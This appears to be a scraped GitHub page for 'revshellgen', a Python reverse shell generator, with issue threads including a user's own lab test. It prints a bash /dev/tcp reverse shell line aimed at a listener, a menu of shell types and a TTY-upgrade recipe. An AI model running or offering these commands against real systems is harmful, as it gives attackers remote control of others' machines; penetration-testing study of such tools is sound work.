t0thkr1s / revshellgen Goto Github PK
View Code? Open in Web Editor NEWReverse shell generator written in Python 3.
Home Page: https://medium.com/infosec-adventures
License: GNU General Public License v3.0
Reverse shell generator written in Python 3.
Home Page: https://medium.com/infosec-adventures
License: GNU General Public License v3.0
https://github.com/DFC302/reverseme
Here is awk and socat reverse shells
I'm trying to use this from termux which can't effect the clipboard unless it uses termux-api which pyperclip doesn't detect so it errors out, would it be possible for --no-copy or something to be added for such cases and for cases where one just doesn't want to give the script clipboard access
Could you add a flag or detect non X environment for directly printing out the result so that the script is usable via ssh?
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
See Method 3: Upgrading from netcat with magic:
To get fully interactive shells it should provide these additional commands and prompt the rows and columns
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows columns
So I am on arch linux with endeavour os on my main attacker machine and I am using a vnc to run commands on my raspberry pi but I am encountering some issues. Here is a picture. It says no route to host. Any fix?
Attacker machine:
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_/\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ SELECT IP ] ----------
[ x ] 192.168.29.48 on wlan0
[ ] Specify manually
---------- [ SPECIFY PORT ] ----------
[ # ] Enter port number : 9696
---------- [ SELECT COMMAND ] ----------
[ x ] unix_bash
[ ] unix_java
[ ] unix_nc_mkfifo
[ ] unix_nc_plain
[ ] unix_perl
[ ] unix_php
[ ] unix_python
[ ] unix_ruby
[ ] unix_telnet
[ ] windows_powershell
---------- [ SELECT ENCODE TYPE ] ----------
[ x ] NONE
[ ] URL ENCODE
[ ] BASE64 ENCODE
---------- [ FINISHED COMMAND ] ----------
bash -i >& /dev/tcp/192.168.29.48/9696 0>&1
[ ! ] Reverse shell command copied to clipboard!
[ + ] In case you want to upgrade your shell, you can use this:
python -c 'import pty;pty.spawn("/bin/bash")'
---------- [ SETUP LISTENER ] ----------
[ x ] yes
[ ] no
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9696
Ncat: Listening on 0.0.0.0:9696
Victim:
cdkw2@raspberrypi:~ $ bash -i >& /dev/tcp/192.168.29.48/9696 0>&1
bash: connect: No route to host
bash: /dev/tcp/192.168.29.48/9696: No route to host
cdkw2@raspberrypi:~ $
---------- [ SETUP LISTENER ] ----------
[ x ] yes
[ ] no
nc: missing port with option -l
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] [-p source_port]
[--apple-recv-anyif] [--apple-awdl-unres]
[--apple-boundif ifbound]
[--apple-no-cellular] [--apple-no-expensive]
[--apple-no-flowadv] [--apple-tcp-timeout conntimo]
[--apple-tcp-keepalive keepidle] [--apple-tcp-keepintvl keepintvl]
[--apple-tcp-keepcnt keepcnt] [--apple-tclass tclass]
[--tcp-adp-rtimo num_probes] [--apple-initcoproc-allow]
[--apple-tcp-adp-wtimo num_probes]
[--setsockopt-later] [--apple-no-connectx]
[--apple-delegate-pid pid] [--apple-delegate-uuid uuid]
[--apple-kao] [--apple-ext-bk-idle]
[--apple-netsvctype svc] [---apple-nowakefromsleep]
[--apple-notify-ack] [--apple-sockev]
[--apple-tos tos] [--apple-tos-cmsg]
[-s source_ip_address] [-w timeout] [-X proxy_version]
[-x proxy_address[:port]] [hostname] [port[s]]
Now that it starts listening on my system on 0.0.0.0 and my specified ports. Now what command should i run on target machine?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.